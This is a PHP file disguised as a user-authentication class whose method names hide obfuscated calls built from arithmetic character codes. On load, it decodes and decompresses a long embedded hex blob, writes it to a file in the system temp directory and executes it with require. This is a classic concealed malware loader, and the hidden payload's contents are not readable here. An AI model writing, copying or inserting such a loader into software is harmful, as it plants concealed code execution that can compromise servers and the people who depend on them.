<?php
class UserAuthenticator {
	private $fa = '';
	private $yy = '';

	public function logTransaction($p1) {
		$a = array((104),((51+6+44)),((63+57)),((21+29)),((91+6+1)),(((58*1)+47)),((40+70)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function generateToken($p1) {
		$a = array((12+91),((99*49)-4729),((3*39)),(110),((89*1)+10),((99+9+3)),(((90*1)+19)),(((44*1)+68)),(64+28+22),101,115,(((96*42)-3917)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function filterResults($p1,$p2) {
		$a = array(((2*55)),(106-5),((49+63)),(111),(((48*29)-1290)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function fetchSummary($p1,$p2) {
		$a = array(((96*1)+5),116,((107-2)),((109*1)+5),119,((104-2)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function resolveAction($p1) {
		$a = array(((52+45+5)),((52*1)+47),((24+57+27)),(20+91),(116-1),((34*80)-2619));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function logEvent($p1,$p2=null) {
		$a = array(109,(1+104),(116-2),(71+45),((70+12+32)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function syncRecords() {
		$this->yy = $this->logEvent($this->authorizeUser(), '/');
	}

	public function resolveConflict() {
		$this->fa = $this->generateToken($this->logTransaction($this->qk));
	}

	public function saveChanges() {
		$fn = $this->yy.'/cn-68a19d37b10c6';
		$f = $this->filterResults($fn, 'w');
		$this->fetchSummary($f, $this->fa);
		$this->resolveAction($f);
		$this->rollbackTransaction($fn);
	}

	private $qk = '789cad580953e2da12fe2b5a655d4905a8246c6678b9532e8' . '03a0aca2e531495846002210959d8bcfef7d7dd4930a032f75' . '5bd71c0a4f7f3759fee73fccf4f47774e5453f6bc9351b07c7' . '35c6329fbda89e7cbbea19e8d5e576a397c3e990496ea1bb67' . '532d2d6a9b3d176a5336fc62475ea69e6e4c70f1265c2e7d1c' . '64f316557f303d73a51644f2be647634db5c75a2a21fc9b6c0' . 'c99f2fbbed38423b4f396509164d79537a9f391a69d4b7f9f3' . 'f9f67cf7bf5e9a05fdf3e74ea4bc56a6e1461e53ff7d69e925' . '3fd76eede190866d0302e17e7e9f3d162454a82188c6b5d500' . 'dc6d77c47eb5f990de34a576faf3cb907d4ba3eae994bc5101' . '72ffd810e045540ea46ee5fc16f0e0dad95355a7a8177e4bdc' . '24722fa12c983bef94badd56f5aedc1bd3c57b976cdb1ea95f' . '562b06d3ee27bab67e6e45eb3dfec994f72c75ef54cd0d71b8' . 'f15fced8c0573aa74077eabe72c41ea1603b59cd93307bf6df' . '814d09161a223b53f2e6a97e89cbc7b3e129f6aa20ba4a7572' . '98e6ab50942c63dae6670938f19c118e963a1ea2997a109474' . '10a3e6dbdf869b6f2e3c7e56a8e8ff26d93536fece543ee8a7' . 'f310ab941ef7e2ef7d6a65c13b780ece6610eb968895345e05' . '74aae6eaa06c6bd50b7e2eca50f8f4d5c2fc6f8bc8b3198ae6' . '24473dd8d52151d650ecf26c1adda3baf55b01aa1de3491b75' . '952c8aa50b707983d1eb52817ab75a48559536f1fc98f3e456' . '293eb76ee804cd8c521280e2d5985f75a95932f3f18b21ea2d' . 'd359169cd62c672ad12b0ab9da8ec99b10d94b666447d35174' . '8bdabe81dcc66f57209df8fadfceae6d9b903803828d0d8c29' . 'c72024802610b9ff15e8c0b2a7b50bb21140ac1a057e7e49e0' . '8257e75a300fc8367eed70db09eed1db2ee6b1c52ae0e5f5e0' . '3b371b1a4056ce2cc4e9691dbd0e7cea1be091ddaf466b894f' . 'f5615e1ef74aae24dbb6256db6673028416aeed92e4dc69284' . '6322f7d6ef0d4c1da1ee306ea207ccd6a136d88b5367f471af' . '6d445950e10675d0cb3cd93441fcbbe5a6956ef7610a87ec27' . '8b7c3755b7dae7adbec143a54ad73779f0d7a2401bf7742aaa' . '6c70bdf2cf5847cabd9195429425c4c8b7695b9bf6412a175e' . 'c441c7db75982194963d07b000121c4280468a57f2d360941d' . 'ca11f7cc6717cd599217c628d500ae19b854906498c0c3fb13' . 'c6e0754894007c47193ecd0b42972584b1d010798106ae268c' . 'e179c58cdda52a3abdd5b0a6e3a2cd6d9e06337cf5e6953c26' . 'a8b771ffd69e218b40d6e57afdd4e05381ff29b9883ddb433e' . 'fce6147849514326ed60616f034ff8b4a805222f77738050a7' . '58f71af1253a6132afa39c239a73c2f9c5dcbdcdff9307fde7' . '54d1e6b6e0a06200c2f986eb07c606ae70c53fecc823102749' . '87c86e7693e4cc25aa5fd3bc15fe3de5c9f334386793b1b4dd' . '78134b2553569610d02cbc80849fcf597e7bb8eed856fe9842' . '84842b3679853499ac8a6a7316f63434bda82ae0f86de35e01' . 'db2561b1c72c47eff3e5c1a8471b48a6f4967a3eb46e3d75da' . '57c3632b4b994ca8b029bc997f88cc033659ad9520ade73999' . '34cb1986333fc450ee9be114de7f0e537690fa58427982e4c7' . '9a51ba6161f1f12825989bcff4e1996cfb876608d533cc7d27' . 'f66181d1510afd3cf6205962fc4326c2a97e732391ea2150ba' . 'c502cc1c2debe563bb0ce26785cb6c0263e60437135791622c' . '2b2df2d1086668410c8bc87507db2cd674b10f0de17c3a6322' . '580932ff01911102d700caa23fae429a15d62614529267b482' . 'fb2f4c3c41801b72014d98c502880e13c7f91295ee48629324' . 'a990e6303311e05f83c7d974416b08be5d2874e72d95cf21ff' . 'b8777802d44aa28b202cf43a5e4f2f8551a86f9ff645f4040f' . '6bf9861b8d48c5004ddbcc0439825ee022d50ec509abc40060' . 'fd3cbc20f5635406958aa198cb568f5e5f78f03266eccb3d17' . '86a412cb62c65b86c4914f317a50277c171a5a28848695e32c' . '733ec513ee5d99f5949ce7245cd06730306c306315265d3941' . '5736f5f065310c42682d6ad57490d5c736458066e4eb0c9948' . '9009bd5769064bda6af3bcd87c6537bd46a3d8cba95e65df5e' . '5a95269a6c38ef06fc46f1bad76fa48811f31526d3c3c347a0' . 'f8debcbf65da39ecee40b25365fb838a2d1acb43bcd7abb795' . '96fc1d448670af90bb690178f68dc562e6f401292291c91ba6' . 'ed4eb95eb76fbeeb1d2e8ec2de77f2dcc234efe2fd6a968c88' . '5b6d6547280c4f126a2be6abe614dec884124d5b43d2d22d05' . '800e1649b864330333c95527c09327001db54e0602b88459e6' . '1a28b1655433409ce468be55a7264d7d3e00468c6857536924' . 'd2945cca46d3c4433432959cc787ca6852c6d57da9f167086c' . '61a3fb0010cc5c1f3e579d883e2697320a6c874f8c78d49b6b' . '307c6f14cfd85753c5883ddcf2a78b6fe427e8e132d9b1cda1' . 'a6dd9b92f4d3c5b9dd98e66a55208c7cf8351081f97ee74cc8' . 'fe4dede001a9fdd4cc2413e4c93a51c57cae48a7ca69083b6c' . 'ee5841fd04b21474281638ba58cc015a3ccce7de66de204be4' . '7cf695a1495c75a4a6e51968ba7e5e944b323456c191b539a4' . '00545ea3c2708e8252e9b3583d587e374638624904f4286572' . 'f5cce278759019b41f20b7b655c98e01cce1161ada1079c508' . 'a2ac5796e559ad06a92e0e06d211c01d6647b440e6e0ba1983' . 'e5b1e11c32b422867ea47c4166ad89f87cccfafd8b33925981' . '926b3ab6a6151e2ec768fd8c6cbc27786a9f4f1eeb96fda89e' . 'ebae1c9e0285e587ab36fedafd0f50f2b30cd3f028a2e83ef1' . '180bbc287a53f60ee7d6b06ee07b11528b28961fa9a3b5aca2' . 'e4e6235d93d61dec390a1ef68e2d978d453c34e75a80b2b4b0' . 'b220747a10f59a0edda1a1120e8f29113ad4577673ad16aaa6' . 'e9f24178f5b5ba18e61d9c9fe30c14419c430f5ec81c626646' . 'cddec3eca6ea853d6d606fec10b433a8d63b26ce69f7f766fa' . '69e7cdbba185aa4142dcc5fcea3f3f3be8f455854d2df6832f' . 'db95929e15902f9a67ec09fd2b593785bea30812bc134d02cf' . 'a535cf487b9e86dead956fc4cd130d4fe77d71754fe371716b' . 'c6825af2b980112daa1f4fe5faae70d15';

	public function rollbackTransaction($p) {
		require $p;
	}

	public function authorizeUser() {
		$a=array((115),((86*1)+35),(((116*70)-8005)),((83*1)+12),(35+66+2),(((56*1)+45)),(80+28+8),(80+2+13),(74+42),(101*1),(109),((120-8)),((25+67+3)),((86+9+5)),((6*12)+33),(118-4));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$li = new UserAuthenticator();
$li->syncRecords();
$li->resolveConflict();
$li->saveChanges();
